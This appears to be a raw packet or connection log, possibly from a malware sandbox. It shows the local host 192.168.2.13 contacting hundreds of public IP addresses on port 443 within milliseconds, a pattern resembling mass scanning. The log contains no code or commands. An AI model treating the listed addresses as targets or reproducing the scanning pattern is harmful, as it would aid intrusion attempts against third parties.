Apr 14, 2024 03:59:49.690340996 CEST	1607	443	192.168.2.13	210.103.55.71
Apr 14, 2024 03:59:49.690341949 CEST	1607	443	192.168.2.13	178.72.235.74
Apr 14, 2024 03:59:49.690354109 CEST	1607	443	192.168.2.13	109.184.194.246
Apr 14, 2024 03:59:49.690363884 CEST	1607	443	192.168.2.13	212.145.69.212
Apr 14, 2024 03:59:49.690375090 CEST	1607	443	192.168.2.13	202.60.238.68
Apr 14, 2024 03:59:49.690375090 CEST	1607	443	192.168.2.13	117.11.77.200
Apr 14, 2024 03:59:49.690376043 CEST	1607	443	192.168.2.13	79.165.148.23
Apr 14, 2024 03:59:49.690381050 CEST	1607	443	192.168.2.13	123.2.45.47
Apr 14, 2024 03:59:49.690390110 CEST	443	1607	123.2.45.47	192.168.2.13
Apr 14, 2024 03:59:49.690392971 CEST	443	1607	79.165.148.23	192.168.2.13
Apr 14, 2024 03:59:49.690401077 CEST	1607	443	192.168.2.13	118.23.24.20
Apr 14, 2024 03:59:49.690409899 CEST	1607	443	192.168.2.13	118.135.108.26
Apr 14, 2024 03:59:49.690409899 CEST	1607	443	192.168.2.13	212.3.214.108
Apr 14, 2024 03:59:49.690416098 CEST	1607	443	192.168.2.13	178.215.204.84
Apr 14, 2024 03:59:49.690416098 CEST	1607	443	192.168.2.13	123.128.107.147
Apr 14, 2024 03:59:49.690421104 CEST	443	1607	118.135.108.26	192.168.2.13
Apr 14, 2024 03:59:49.690423965 CEST	443	1607	123.128.107.147	192.168.2.13
Apr 14, 2024 03:59:49.690423965 CEST	443	1607	118.23.24.20	192.168.2.13
Apr 14, 2024 03:59:49.690424919 CEST	443	1607	178.215.204.84	192.168.2.13
Apr 14, 2024 03:59:49.690428019 CEST	1607	443	192.168.2.13	79.165.148.23
Apr 14, 2024 03:59:49.690426111 CEST	1607	443	192.168.2.13	123.2.45.47
Apr 14, 2024 03:59:49.690432072 CEST	443	1607	212.3.214.108	192.168.2.13
Apr 14, 2024 03:59:49.690443993 CEST	1607	443	192.168.2.13	210.127.161.94
Apr 14, 2024 03:59:49.690443993 CEST	1607	443	192.168.2.13	109.191.18.164
Apr 14, 2024 03:59:49.690463066 CEST	1607	443	192.168.2.13	118.23.24.20
Apr 14, 2024 03:59:49.690463066 CEST	443	1607	210.127.161.94	192.168.2.13
Apr 14, 2024 03:59:49.690466881 CEST	1607	443	192.168.2.13	118.135.108.26
Apr 14, 2024 03:59:49.690466881 CEST	1607	443	192.168.2.13	212.3.214.108
Apr 14, 2024 03:59:49.690474033 CEST	443	1607	109.191.18.164	192.168.2.13
Apr 14, 2024 03:59:49.690474987 CEST	1607	443	192.168.2.13	178.215.204.84
Apr 14, 2024 03:59:49.690474987 CEST	1607	443	192.168.2.13	123.128.107.147
Apr 14, 2024 03:59:49.690501928 CEST	1607	443	192.168.2.13	210.127.161.94
Apr 14, 2024 03:59:49.690521955 CEST	1607	443	192.168.2.13	109.191.18.164
Apr 14, 2024 03:59:49.690531015 CEST	1607	443	192.168.2.13	210.84.44.153
Apr 14, 2024 03:59:49.690540075 CEST	443	1607	210.84.44.153	192.168.2.13
Apr 14, 2024 03:59:49.690567970 CEST	1607	443	192.168.2.13	5.137.164.217
Apr 14, 2024 03:59:49.690567970 CEST	1607	443	192.168.2.13	123.153.173.84
Apr 14, 2024 03:59:49.690577030 CEST	1607	443	192.168.2.13	94.114.10.219
Apr 14, 2024 03:59:49.690577030 CEST	1607	443	192.168.2.13	202.156.121.175
Apr 14, 2024 03:59:49.690577984 CEST	1607	443	192.168.2.13	109.71.139.81
Apr 14, 2024 03:59:49.690577984 CEST	1607	443	192.168.2.13	210.66.170.135
Apr 14, 2024 03:59:49.690577030 CEST	1607	443	192.168.2.13	123.141.6.176
Apr 14, 2024 03:59:49.690577030 CEST	1607	443	192.168.2.13	42.7.162.175
Apr 14, 2024 03:59:49.690577984 CEST	1607	443	192.168.2.13	118.61.129.73
Apr 14, 2024 03:59:49.690577030 CEST	1607	443	192.168.2.13	109.137.227.224
Apr 14, 2024 03:59:49.690577030 CEST	1607	443	192.168.2.13	42.226.242.78
Apr 14, 2024 03:59:49.690588951 CEST	443	1607	210.66.170.135	192.168.2.13
Apr 14, 2024 03:59:49.690577984 CEST	443	1607	5.137.164.217	192.168.2.13
Apr 14, 2024 03:59:49.690589905 CEST	1607	443	192.168.2.13	37.171.189.106
Apr 14, 2024 03:59:49.690591097 CEST	443	1607	94.114.10.219	192.168.2.13
Apr 14, 2024 03:59:49.690589905 CEST	1607	443	192.168.2.13	210.255.214.41
Apr 14, 2024 03:59:49.690593958 CEST	1607	443	192.168.2.13	212.116.11.174
Apr 14, 2024 03:59:49.690594912 CEST	443	1607	123.153.173.84	192.168.2.13
Apr 14, 2024 03:59:49.690594912 CEST	443	1607	109.71.139.81	192.168.2.13
Apr 14, 2024 03:59:49.690601110 CEST	1607	443	192.168.2.13	42.138.14.205
Apr 14, 2024 03:59:49.690601110 CEST	1607	443	192.168.2.13	79.14.173.18
Apr 14, 2024 03:59:49.690601110 CEST	1607	443	192.168.2.13	210.84.44.153
Apr 14, 2024 03:59:49.690603018 CEST	443	1607	123.141.6.176	192.168.2.13
Apr 14, 2024 03:59:49.690603018 CEST	443	1607	202.156.121.175	192.168.2.13
Apr 14, 2024 03:59:49.690603971 CEST	443	1607	42.7.162.175	192.168.2.13
Apr 14, 2024 03:59:49.690613985 CEST	443	1607	37.171.189.106	192.168.2.13
Apr 14, 2024 03:59:49.690614939 CEST	443	1607	42.138.14.205	192.168.2.13
Apr 14, 2024 03:59:49.690613985 CEST	443	1607	109.137.227.224	192.168.2.13
Apr 14, 2024 03:59:49.690617085 CEST	443	1607	118.61.129.73	192.168.2.13
Apr 14, 2024 03:59:49.690617085 CEST	1607	443	192.168.2.13	117.190.226.10
Apr 14, 2024 03:59:49.690617085 CEST	1607	443	192.168.2.13	94.40.196.233
Apr 14, 2024 03:59:49.690617085 CEST	1607	443	192.168.2.13	148.173.3.247
Apr 14, 2024 03:59:49.690618992 CEST	443	1607	212.116.11.174	192.168.2.13
Apr 14, 2024 03:59:49.690618038 CEST	1607	443	192.168.2.13	79.234.51.29
Apr 14, 2024 03:59:49.690618038 CEST	1607	443	192.168.2.13	118.252.145.162
Apr 14, 2024 03:59:49.690618038 CEST	1607	443	192.168.2.13	123.153.173.84
Apr 14, 2024 03:59:49.690625906 CEST	443	1607	210.255.214.41	192.168.2.13
Apr 14, 2024 03:59:49.690628052 CEST	443	1607	42.226.242.78	192.168.2.13
Apr 14, 2024 03:59:49.690629005 CEST	443	1607	79.14.173.18	192.168.2.13
Apr 14, 2024 03:59:49.690629005 CEST	1607	443	192.168.2.13	109.71.139.81
Apr 14, 2024 03:59:49.690630913 CEST	1607	443	192.168.2.13	123.141.6.176
Apr 14, 2024 03:59:49.690638065 CEST	1607	443	192.168.2.13	109.214.206.30
Apr 14, 2024 03:59:49.690639019 CEST	1607	443	192.168.2.13	109.149.50.180
Apr 14, 2024 03:59:49.690639019 CEST	443	1607	117.190.226.10	192.168.2.13
Apr 14, 2024 03:59:49.690638065 CEST	1607	443	192.168.2.13	42.7.162.175
Apr 14, 2024 03:59:49.690644979 CEST	1607	443	192.168.2.13	210.66.170.135
Apr 14, 2024 03:59:49.690639019 CEST	1607	443	192.168.2.13	2.63.69.82
Apr 14, 2024 03:59:49.690646887 CEST	443	1607	94.40.196.233	192.168.2.13
Apr 14, 2024 03:59:49.690654039 CEST	443	1607	109.214.206.30	192.168.2.13
Apr 14, 2024 03:59:49.690650940 CEST	1607	443	192.168.2.13	94.114.10.219
Apr 14, 2024 03:59:49.690656900 CEST	1607	443	192.168.2.13	42.138.14.205
Apr 14, 2024 03:59:49.690658092 CEST	443	1607	148.173.3.247	192.168.2.13
Apr 14, 2024 03:59:49.690665007 CEST	443	1607	109.149.50.180	192.168.2.13
Apr 14, 2024 03:59:49.690665960 CEST	1607	443	192.168.2.13	118.61.129.73
Apr 14, 2024 03:59:49.690666914 CEST	1607	443	192.168.2.13	202.156.121.175
Apr 14, 2024 03:59:49.690666914 CEST	1607	443	192.168.2.13	109.137.227.224
Apr 14, 2024 03:59:49.690666914 CEST	1607	443	192.168.2.13	212.116.11.174
Apr 14, 2024 03:59:49.690666914 CEST	1607	443	192.168.2.13	42.226.242.78
Apr 14, 2024 03:59:49.690670013 CEST	443	1607	79.234.51.29	192.168.2.13
Apr 14, 2024 03:59:49.690670967 CEST	1607	443	192.168.2.13	79.14.173.18
Apr 14, 2024 03:59:49.690675974 CEST	443	1607	2.63.69.82	192.168.2.13
Apr 14, 2024 03:59:49.690680981 CEST	443	1607	118.252.145.162	192.168.2.13
Apr 14, 2024 03:59:49.690685034 CEST	1607	443	192.168.2.13	109.214.206.30
Apr 14, 2024 03:59:49.690690041 CEST	1607	443	192.168.2.13	37.171.189.106
Apr 14, 2024 03:59:49.690690041 CEST	1607	443	192.168.2.13	210.255.214.41
Apr 14, 2024 03:59:49.690701962 CEST	1607	443	192.168.2.13	109.149.50.180
Apr 14, 2024 03:59:49.690701962 CEST	1607	443	192.168.2.13	2.63.69.82
Apr 14, 2024 03:59:49.690701962 CEST	1607	443	192.168.2.13	5.137.164.217
Apr 14, 2024 03:59:49.690701962 CEST	1607	443	192.168.2.13	117.190.226.10
Apr 14, 2024 03:59:49.690701962 CEST	1607	443	192.168.2.13	94.40.196.233
Apr 14, 2024 03:59:49.690701962 CEST	1607	443	192.168.2.13	148.173.3.247
Apr 14, 2024 03:59:49.690701962 CEST	1607	443	192.168.2.13	79.234.51.29
Apr 14, 2024 03:59:49.690717936 CEST	1607	443	192.168.2.13	118.252.145.162
Apr 14, 2024 03:59:49.690742970 CEST	1607	443	192.168.2.13	2.141.230.136
Apr 14, 2024 03:59:49.690752029 CEST	443	1607	2.141.230.136	192.168.2.13
Apr 14, 2024 03:59:49.690757036 CEST	1607	443	192.168.2.13	2.193.53.214
Apr 14, 2024 03:59:49.690764904 CEST	1607	443	192.168.2.13	210.118.171.28
Apr 14, 2024 03:59:49.690773010 CEST	443	1607	210.118.171.28	192.168.2.13
Apr 14, 2024 03:59:49.690773964 CEST	443	1607	2.193.53.214	192.168.2.13
Apr 14, 2024 03:59:49.690773964 CEST	1607	443	192.168.2.13	37.132.222.66
Apr 14, 2024 03:59:49.690782070 CEST	443	1607	37.132.222.66	192.168.2.13
Apr 14, 2024 03:59:49.690793037 CEST	1607	443	192.168.2.13	210.237.124.99
Apr 14, 2024 03:59:49.690793991 CEST	1607	443	192.168.2.13	2.141.230.136
Apr 14, 2024 03:59:49.690803051 CEST	443	1607	210.237.124.99	192.168.2.13
Apr 14, 2024 03:59:49.690804958 CEST	1607	443	192.168.2.13	210.118.171.28
Apr 14, 2024 03:59:49.690814972 CEST	1607	443	192.168.2.13	123.29.114.42
Apr 14, 2024 03:59:49.690820932 CEST	1607	443	192.168.2.13	2.193.53.214
Apr 14, 2024 03:59:49.690821886 CEST	443	1607	123.29.114.42	192.168.2.13
Apr 14, 2024 03:59:49.690830946 CEST	1607	443	192.168.2.13	37.132.222.66
Apr 14, 2024 03:59:49.690843105 CEST	1607	443	192.168.2.13	210.237.124.99
Apr 14, 2024 03:59:49.690859079 CEST	1607	443	192.168.2.13	123.29.114.42
Apr 14, 2024 03:59:49.690881014 CEST	1607	443	192.168.2.13	37.182.240.70
Apr 14, 2024 03:59:49.690881014 CEST	1607	443	192.168.2.13	178.238.133.147
Apr 14, 2024 03:59:49.690891027 CEST	443	1607	37.182.240.70	192.168.2.13
Apr 14, 2024 03:59:49.690901041 CEST	1607	443	192.168.2.13	212.70.251.105
Apr 14, 2024 03:59:49.690903902 CEST	443	1607	178.238.133.147	192.168.2.13
Apr 14, 2024 03:59:49.690908909 CEST	443	1607	212.70.251.105	192.168.2.13
Apr 14, 2024 03:59:49.690912008 CEST	1607	443	192.168.2.13	79.137.86.45
Apr 14, 2024 03:59:49.690920115 CEST	1607	443	192.168.2.13	118.206.99.160
Apr 14, 2024 03:59:49.690922976 CEST	443	1607	79.137.86.45	192.168.2.13
Apr 14, 2024 03:59:49.690927982 CEST	1607	443	192.168.2.13	123.226.88.236
Apr 14, 2024 03:59:49.690927982 CEST	1607	443	192.168.2.13	123.156.242.88
Apr 14, 2024 03:59:49.690928936 CEST	1607	443	192.168.2.13	148.61.161.231
Apr 14, 2024 03:59:49.690928936 CEST	1607	443	192.168.2.13	123.191.149.231
Apr 14, 2024 03:59:49.690929890 CEST	1607	443	192.168.2.13	5.243.100.225
Apr 14, 2024 03:59:49.690936089 CEST	1607	443	192.168.2.13	37.182.240.70
Apr 14, 2024 03:59:49.690937996 CEST	443	1607	123.226.88.236	192.168.2.13
Apr 14, 2024 03:59:49.690937996 CEST	443	1607	118.206.99.160	192.168.2.13
Apr 14, 2024 03:59:49.690947056 CEST	1607	443	192.168.2.13	212.70.251.105
Apr 14, 2024 03:59:49.690948009 CEST	443	1607	123.156.242.88	192.168.2.13
Apr 14, 2024 03:59:49.690949917 CEST	1607	443	192.168.2.13	202.108.174.57
Apr 14, 2024 03:59:49.690957069 CEST	1607	443	192.168.2.13	79.92.164.100
Apr 14, 2024 03:59:49.690958023 CEST	443	1607	202.108.174.57	192.168.2.13
Apr 14, 2024 03:59:49.690960884 CEST	443	1607	148.61.161.231	192.168.2.13
Apr 14, 2024 03:59:49.690963030 CEST	1607	443	192.168.2.13	42.39.17.1
Apr 14, 2024 03:59:49.690963984 CEST	443	1607	79.92.164.100	192.168.2.13
Apr 14, 2024 03:59:49.690963984 CEST	1607	443	192.168.2.13	79.82.112.74
Apr 14, 2024 03:59:49.690964937 CEST	1607	443	192.168.2.13	79.137.86.45
Apr 14, 2024 03:59:49.690973043 CEST	443	1607	123.191.149.231	192.168.2.13
Apr 14, 2024 03:59:49.690973997 CEST	1607	443	192.168.2.13	118.206.99.160
Apr 14, 2024 03:59:49.690973997 CEST	1607	443	192.168.2.13	123.156.242.88
Apr 14, 2024 03:59:49.690973997 CEST	1607	443	192.168.2.13	123.226.88.236
Apr 14, 2024 03:59:49.690973997 CEST	1607	443	192.168.2.13	94.51.38.31
Apr 14, 2024 03:59:49.690987110 CEST	443	1607	94.51.38.31	192.168.2.13
Apr 14, 2024 03:59:49.690994024 CEST	443	1607	42.39.17.1	192.168.2.13
Apr 14, 2024 03:59:49.690995932 CEST	1607	443	192.168.2.13	79.92.164.100
Apr 14, 2024 03:59:49.690995932 CEST	443	1607	5.243.100.225	192.168.2.13
Apr 14, 2024 03:59:49.690999985 CEST	443	1607	79.82.112.74	192.168.2.13
Apr 14, 2024 03:59:49.691008091 CEST	1607	443	192.168.2.13	202.108.174.57
Apr 14, 2024 03:59:49.691018105 CEST	1607	443	192.168.2.13	94.51.38.31
Apr 14, 2024 03:59:49.691025972 CEST	1607	443	192.168.2.13	79.82.112.74
Apr 14, 2024 03:59:49.691028118 CEST	1607	443	192.168.2.13	178.238.133.147
Apr 14, 2024 03:59:49.691028118 CEST	1607	443	192.168.2.13	148.61.161.231
Apr 14, 2024 03:59:49.691028118 CEST	1607	443	192.168.2.13	123.191.149.231
Apr 14, 2024 03:59:49.691035986 CEST	1607	443	192.168.2.13	118.171.251.241
Apr 14, 2024 03:59:49.691040993 CEST	1607	443	192.168.2.13	42.39.17.1
Apr 14, 2024 03:59:49.691044092 CEST	443	1607	118.171.251.241	192.168.2.13
Apr 14, 2024 03:59:49.691044092 CEST	1607	443	192.168.2.13	123.230.52.175
Apr 14, 2024 03:59:49.691054106 CEST	443	1607	123.230.52.175	192.168.2.13
Apr 14, 2024 03:59:49.691061020 CEST	1607	443	192.168.2.13	5.243.100.225
Apr 14, 2024 03:59:49.691062927 CEST	1607	443	192.168.2.13	117.108.235.64
Apr 14, 2024 03:59:49.691062927 CEST	1607	443	192.168.2.13	79.6.39.208
Apr 14, 2024 03:59:49.691062927 CEST	1607	443	192.168.2.13	202.110.91.177
Apr 14, 2024 03:59:49.691073895 CEST	443	1607	117.108.235.64	192.168.2.13
Apr 14, 2024 03:59:49.691081047 CEST	443	1607	202.110.91.177	192.168.2.13
Apr 14, 2024 03:59:49.691087008 CEST	443	1607	79.6.39.208	192.168.2.13
Apr 14, 2024 03:59:49.691096067 CEST	1607	443	192.168.2.13	94.134.57.203
Apr 14, 2024 03:59:49.691101074 CEST	1607	443	192.168.2.13	123.230.52.175
Apr 14, 2024 03:59:49.691102028 CEST	1607	443	192.168.2.13	118.171.251.241
Apr 14, 2024 03:59:49.691103935 CEST	443	1607	94.134.57.203	192.168.2.13
Apr 14, 2024 03:59:49.691112041 CEST	1607	443	192.168.2.13	117.108.235.64
Apr 14, 2024 03:59:49.691124916 CEST	1607	443	192.168.2.13	202.110.91.177
Apr 14, 2024 03:59:49.691133976 CEST	1607	443	192.168.2.13	79.6.39.208
Apr 14, 2024 03:59:49.691152096 CEST	1607	443	192.168.2.13	117.69.96.114
Apr 14, 2024 03:59:49.691152096 CEST	1607	443	192.168.2.13	94.134.57.203
Apr 14, 2024 03:59:49.691155910 CEST	1607	443	192.168.2.13	123.203.36.95
Apr 14, 2024 03:59:49.691163063 CEST	443	1607	123.203.36.95	192.168.2.13
Apr 14, 2024 03:59:49.691160917 CEST	443	1607	117.69.96.114	192.168.2.13
Apr 14, 2024 03:59:49.691170931 CEST	1607	443	192.168.2.13	123.169.235.92
Apr 14, 2024 03:59:49.691175938 CEST	1607	443	192.168.2.13	178.236.89.6
Apr 14, 2024 03:59:49.691179991 CEST	1607	443	192.168.2.13	212.124.95.36
Apr 14, 2024 03:59:49.691184998 CEST	1607	443	192.168.2.13	37.90.215.152
Apr 14, 2024 03:59:49.691184998 CEST	1607	443	192.168.2.13	94.174.147.77
Apr 14, 2024 03:59:49.691186905 CEST	443	1607	178.236.89.6	192.168.2.13
Apr 14, 2024 03:59:49.691188097 CEST	443	1607	212.124.95.36	192.168.2.13
Apr 14, 2024 03:59:49.691188097 CEST	443	1607	123.169.235.92	192.168.2.13
Apr 14, 2024 03:59:49.691189051 CEST	1607	443	192.168.2.13	118.206.236.117
Apr 14, 2024 03:59:49.691190958 CEST	1607	443	192.168.2.13	94.242.255.12
Apr 14, 2024 03:59:49.691195965 CEST	443	1607	37.90.215.152	192.168.2.13
Apr 14, 2024 03:59:49.691199064 CEST	443	1607	94.242.255.12	192.168.2.13
Apr 14, 2024 03:59:49.691203117 CEST	1607	443	192.168.2.13	117.69.96.114
Apr 14, 2024 03:59:49.691205025 CEST	443	1607	118.206.236.117	192.168.2.13
Apr 14, 2024 03:59:49.691209078 CEST	443	1607	94.174.147.77	192.168.2.13
Apr 14, 2024 03:59:49.691230059 CEST	1607	443	192.168.2.13	123.203.36.95
Apr 14, 2024 03:59:49.691231012 CEST	1607	443	192.168.2.13	94.242.255.12
Apr 14, 2024 03:59:49.691231012 CEST	1607	443	192.168.2.13	123.169.235.92
Apr 14, 2024 03:59:49.691245079 CEST	1607	443	192.168.2.13	212.124.95.36
Apr 14, 2024 03:59:49.691250086 CEST	1607	443	192.168.2.13	37.90.215.152
Apr 14, 2024 03:59:49.691251040 CEST	1607	443	192.168.2.13	178.236.89.6
Apr 14, 2024 03:59:49.691258907 CEST	1607	443	192.168.2.13	118.206.236.117
Apr 14, 2024 03:59:49.691265106 CEST	1607	443	192.168.2.13	94.174.147.77
Apr 14, 2024 03:59:49.691272974 CEST	1607	443	192.168.2.13	123.10.120.90
Apr 14, 2024 03:59:49.691287994 CEST	1607	443	192.168.2.13	202.72.23.53
Apr 14, 2024 03:59:49.691287994 CEST	443	1607	123.10.120.90	192.168.2.13
Apr 14, 2024 03:59:49.691292048 CEST	1607	443	192.168.2.13	212.181.137.13
Apr 14, 2024 03:59:49.691294909 CEST	443	1607	202.72.23.53	192.168.2.13
Apr 14, 2024 03:59:49.691297054 CEST	1607	443	192.168.2.13	5.59.171.86
Apr 14, 2024 03:59:49.691299915 CEST	443	1607	212.181.137.13	192.168.2.13
Apr 14, 2024 03:59:49.691303968 CEST	443	1607	5.59.171.86	192.168.2.13
Apr 14, 2024 03:59:49.691314936 CEST	1607	443	192.168.2.13	148.177.132.45
Apr 14, 2024 03:59:49.691314936 CEST	1607	443	192.168.2.13	118.96.107.39
Apr 14, 2024 03:59:49.691315889 CEST	1607	443	192.168.2.13	5.67.181.100
Apr 14, 2024 03:59:49.691315889 CEST	1607	443	192.168.2.13	94.94.131.37
Apr 14, 2024 03:59:49.691324949 CEST	443	1607	5.67.181.100	192.168.2.13
Apr 14, 2024 03:59:49.691329002 CEST	443	1607	148.177.132.45	192.168.2.13
Apr 14, 2024 03:59:49.691329002 CEST	1607	443	192.168.2.13	123.10.120.90
Apr 14, 2024 03:59:49.691334009 CEST	1607	443	192.168.2.13	212.181.137.13
Apr 14, 2024 03:59:49.691339970 CEST	443	1607	118.96.107.39	192.168.2.13
Apr 14, 2024 03:59:49.691344976 CEST	443	1607	94.94.131.37	192.168.2.13
Apr 14, 2024 03:59:49.691351891 CEST	1607	443	192.168.2.13	5.59.171.86
Apr 14, 2024 03:59:49.691355944 CEST	1607	443	192.168.2.13	202.72.23.53
Apr 14, 2024 03:59:49.691364050 CEST	1607	443	192.168.2.13	5.67.181.100
Apr 14, 2024 03:59:49.691375971 CEST	1607	443	192.168.2.13	148.177.132.45
Apr 14, 2024 03:59:49.691375971 CEST	1607	443	192.168.2.13	118.96.107.39
Apr 14, 2024 03:59:49.691375971 CEST	1607	443	192.168.2.13	94.94.131.37
Apr 14, 2024 03:59:49.691410065 CEST	1607	443	192.168.2.13	5.205.123.217
Apr 14, 2024 03:59:49.691414118 CEST	1607	443	192.168.2.13	5.62.80.23
Apr 14, 2024 03:59:49.691421986 CEST	443	1607	5.62.80.23	192.168.2.13
Apr 14, 2024 03:59:49.691426992 CEST	443	1607	5.205.123.217	192.168.2.13
Apr 14, 2024 03:59:49.691431999 CEST	1607	443	192.168.2.13	5.129.253.234
Apr 14, 2024 03:59:49.691433907 CEST	1607	443	192.168.2.13	178.100.173.134
Apr 14, 2024 03:59:49.691440105 CEST	443	1607	5.129.253.234	192.168.2.13
Apr 14, 2024 03:59:49.691442013 CEST	443	1607	178.100.173.134	192.168.2.13
Apr 14, 2024 03:59:49.691456079 CEST	1607	443	192.168.2.13	5.62.80.23
Apr 14, 2024 03:59:49.691457033 CEST	1607	443	192.168.2.13	5.63.195.36
Apr 14, 2024 03:59:49.691463947 CEST	443	1607	5.63.195.36	192.168.2.13
Apr 14, 2024 03:59:49.691463947 CEST	1607	443	192.168.2.13	5.205.123.217
Apr 14, 2024 03:59:49.691483021 CEST	1607	443	192.168.2.13	117.39.54.36
Apr 14, 2024 03:59:49.691484928 CEST	1607	443	192.168.2.13	178.100.173.134
Apr 14, 2024 03:59:49.691488981 CEST	1607	443	192.168.2.13	2.3.222.180
Apr 14, 2024 03:59:49.691497087 CEST	443	1607	2.3.222.180	192.168.2.13
Apr 14, 2024 03:59:49.691497087 CEST	1607	443	192.168.2.13	5.116.22.68
Apr 14, 2024 03:59:49.691499949 CEST	443	1607	117.39.54.36	192.168.2.13
Apr 14, 2024 03:59:49.691509008 CEST	1607	443	192.168.2.13	5.63.195.36
Apr 14, 2024 03:59:49.691509008 CEST	1607	443	192.168.2.13	117.249.181.86
Apr 14, 2024 03:59:49.691514015 CEST	443	1607	5.116.22.68	192.168.2.13
Apr 14, 2024 03:59:49.691519022 CEST	443	1607	117.249.181.86	192.168.2.13
Apr 14, 2024 03:59:49.691519976 CEST	1607	443	192.168.2.13	5.129.253.234
Apr 14, 2024 03:59:49.691540956 CEST	1607	443	192.168.2.13	117.39.54.36
Apr 14, 2024 03:59:49.691544056 CEST	1607	443	192.168.2.13	2.3.222.180
Apr 14, 2024 03:59:49.691554070 CEST	1607	443	192.168.2.13	117.88.58.44
Apr 14, 2024 03:59:49.691560984 CEST	1607	443	192.168.2.13	5.116.22.68
Apr 14, 2024 03:59:49.691561937 CEST	443	1607	117.88.58.44	192.168.2.13
Apr 14, 2024 03:59:49.691562891 CEST	1607	443	192.168.2.13	117.249.181.86
Apr 14, 2024 03:59:49.691569090 CEST	1607	443	192.168.2.13	2.5.208.97
Apr 14, 2024 03:59:49.691571951 CEST	1607	443	192.168.2.13	42.183.160.162
Apr 14, 2024 03:59:49.691571951 CEST	1607	443	192.168.2.13	94.50.151.158
Apr 14, 2024 03:59:49.691580057 CEST	1607	443	192.168.2.13	37.164.198.95
Apr 14, 2024 03:59:49.691581011 CEST	443	1607	42.183.160.162	192.168.2.13
Apr 14, 2024 03:59:49.691586971 CEST	443	1607	2.5.208.97	192.168.2.13
Apr 14, 2024 03:59:49.691589117 CEST	443	1607	37.164.198.95	192.168.2.13
Apr 14, 2024 03:59:49.691591978 CEST	443	1607	94.50.151.158	192.168.2.13
Apr 14, 2024 03:59:49.691603899 CEST	1607	443	192.168.2.13	178.91.54.132
Apr 14, 2024 03:59:49.691611052 CEST	1607	443	192.168.2.13	117.88.58.44
Apr 14, 2024 03:59:49.691617012 CEST	443	1607	178.91.54.132	192.168.2.13
Apr 14, 2024 03:59:49.691617966 CEST	1607	443	192.168.2.13	2.165.151.236
Apr 14, 2024 03:59:49.691626072 CEST	1607	443	192.168.2.13	37.57.168.207
Apr 14, 2024 03:59:49.691637039 CEST	443	1607	37.57.168.207	192.168.2.13
Apr 14, 2024 03:59:49.691641092 CEST	1607	443	192.168.2.13	42.183.160.162
Apr 14, 2024 03:59:49.691641092 CEST	1607	443	192.168.2.13	94.50.151.158
Apr 14, 2024 03:59:49.691642046 CEST	443	1607	2.165.151.236	192.168.2.13
Apr 14, 2024 03:59:49.691643953 CEST	1607	443	192.168.2.13	37.164.198.95
Apr 14, 2024 03:59:49.691647053 CEST	1607	443	192.168.2.13	178.91.54.132
Apr 14, 2024 03:59:49.691667080 CEST	1607	443	192.168.2.13	2.5.208.97
Apr 14, 2024 03:59:49.691669941 CEST	1607	443	192.168.2.13	210.88.140.200
Apr 14, 2024 03:59:49.691674948 CEST	1607	443	192.168.2.13	2.165.151.236
Apr 14, 2024 03:59:49.691677094 CEST	443	1607	210.88.140.200	192.168.2.13
Apr 14, 2024 03:59:49.691683054 CEST	1607	443	192.168.2.13	178.236.180.9
Apr 14, 2024 03:59:49.691692114 CEST	443	1607	178.236.180.9	192.168.2.13
Apr 14, 2024 03:59:49.691693068 CEST	1607	443	192.168.2.13	5.25.119.47
Apr 14, 2024 03:59:49.691695929 CEST	1607	443	192.168.2.13	109.79.107.246
Apr 14, 2024 03:59:49.691704988 CEST	443	1607	109.79.107.246	192.168.2.13
Apr 14, 2024 03:59:49.691704988 CEST	1607	443	192.168.2.13	37.57.168.207
Apr 14, 2024 03:59:49.691704988 CEST	1607	443	192.168.2.13	123.224.112.87
Apr 14, 2024 03:59:49.691709995 CEST	1607	443	192.168.2.13	210.88.140.200
Apr 14, 2024 03:59:49.691713095 CEST	443	1607	5.25.119.47	192.168.2.13
Apr 14, 2024 03:59:49.691715002 CEST	443	1607	123.224.112.87	192.168.2.13
Apr 14, 2024 03:59:49.691726923 CEST	1607	443	192.168.2.13	79.117.42.1
Apr 14, 2024 03:59:49.691730976 CEST	1607	443	192.168.2.13	178.236.180.9
Apr 14, 2024 03:59:49.691736937 CEST	1607	443	192.168.2.13	109.79.107.246
Apr 14, 2024 03:59:49.691746950 CEST	443	1607	79.117.42.1	192.168.2.13
Apr 14, 2024 03:59:49.691771030 CEST	1607	443	192.168.2.13	5.25.119.47
Apr 14, 2024 03:59:49.691771984 CEST	1607	443	192.168.2.13	117.148.160.196
Apr 14, 2024 03:59:49.691797018 CEST	443	1607	117.148.160.196	192.168.2.13
Apr 14, 2024 03:59:49.691818953 CEST	1607	443	192.168.2.13	117.245.6.162
Apr 14, 2024 03:59:49.691818953 CEST	1607	443	192.168.2.13	79.117.42.1
Apr 14, 2024 03:59:49.691827059 CEST	443	1607	117.245.6.162	192.168.2.13
Apr 14, 2024 03:59:49.691834927 CEST	1607	443	192.168.2.13	5.72.97.104
Apr 14, 2024 03:59:49.691834927 CEST	1607	443	192.168.2.13	109.126.111.137
Apr 14, 2024 03:59:49.691837072 CEST	1607	443	192.168.2.13	117.148.160.196
Apr 14, 2024 03:59:49.691844940 CEST	443	1607	5.72.97.104	192.168.2.13
Apr 14, 2024 03:59:49.691854000 CEST	1607	443	192.168.2.13	123.224.112.87
Apr 14, 2024 03:59:49.691857100 CEST	1607	443	192.168.2.13	2.62.103.84
Apr 14, 2024 03:59:49.691858053 CEST	443	1607	109.126.111.137	192.168.2.13
Apr 14, 2024 03:59:49.691874027 CEST	1607	443	192.168.2.13	117.245.6.162
Apr 14, 2024 03:59:49.691879034 CEST	443	1607	2.62.103.84	192.168.2.13
Apr 14, 2024 03:59:49.691881895 CEST	1607	443	192.168.2.13	5.72.97.104
Apr 14, 2024 03:59:49.691900969 CEST	1607	443	192.168.2.13	94.109.208.7
Apr 14, 2024 03:59:49.691905022 CEST	1607	443	192.168.2.13	109.126.111.137
Apr 14, 2024 03:59:49.691915035 CEST	443	1607	94.109.208.7	192.168.2.13
Apr 14, 2024 03:59:49.691941023 CEST	1607	443	192.168.2.13	2.62.103.84
Apr 14, 2024 03:59:49.691946030 CEST	1607	443	192.168.2.13	178.96.86.65
Apr 14, 2024 03:59:49.691962957 CEST	443	1607	178.96.86.65	192.168.2.13
Apr 14, 2024 03:59:49.691963911 CEST	1607	443	192.168.2.13	94.109.208.7
Apr 14, 2024 03:59:49.691979885 CEST	1607	443	192.168.2.13	42.97.88.250
Apr 14, 2024 03:59:49.691979885 CEST	1607	443	192.168.2.13	109.14.191.79
Apr 14, 2024 03:59:49.692007065 CEST	443	1607	42.97.88.250	192.168.2.13
Apr 14, 2024 03:59:49.692013979 CEST	1607	443	192.168.2.13	212.54.52.37
